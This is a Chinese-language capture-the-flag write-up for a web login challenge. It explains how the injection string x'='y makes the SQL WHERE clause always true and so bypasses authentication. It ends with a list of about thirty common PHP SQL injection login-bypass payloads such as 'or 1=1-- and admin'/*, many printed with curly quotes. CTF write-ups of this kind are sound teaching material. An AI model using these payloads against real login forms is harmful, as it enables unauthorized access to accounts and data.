登陆一下好吗??
题目链接: http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
解题思路:
登陆一下好吗?表明可能登陆成功后就能得到flag,但是题目已经说过滤了的一切,所以一些关键字 例如 or ,应该被过滤了。
通常的后台代码应该是:
select username,password from user where username=’$user’ and password =’ $pwd’
需要将where的条件转换为永真式,就能查询到所有的用户和密码,
因此构造
username ‘=’
password ‘=’
即where username=’’=’’ and password=’’=’’
等号左右都是空 ,构成了永真式,因此语句能够运行,登陆以后就会看到flag
ps:payload的username和password都是 任意字母’=‘任意字母 例如 t’=‘p 此时where 语句从左向右依次读取,username=‘t’ 返回 false=‘p’ ‘p’进行类型转换是 0 即 false=0 结果是true,同理可得true and true 成为永真式。
php常见的万能密码:
admin’/*
密码*/’
‘or 1=1/*
"or “a”="a
“or 1=1–
“or”=”
“or”="a’=‘a
“or1=1–
“or=or”
'‘or’=‘or’
‘) or (‘a’=‘a
‘.).or.(’.a.’=’.a
'or 1=1
'or 1=1–
'or 1=1/*
'or”="a’=‘a
‘or’ ‘1’=‘1’
‘or’’=’
‘or’’=’‘or’’=’
‘or’=‘1’
‘or’=‘or’
'or.‘a.’='a
‘or1=1–
1’or’1’=‘1
a’or’ 1=1–
a’or’1=1–
or ‘a’=‘a’
or 1=1–
or1=1–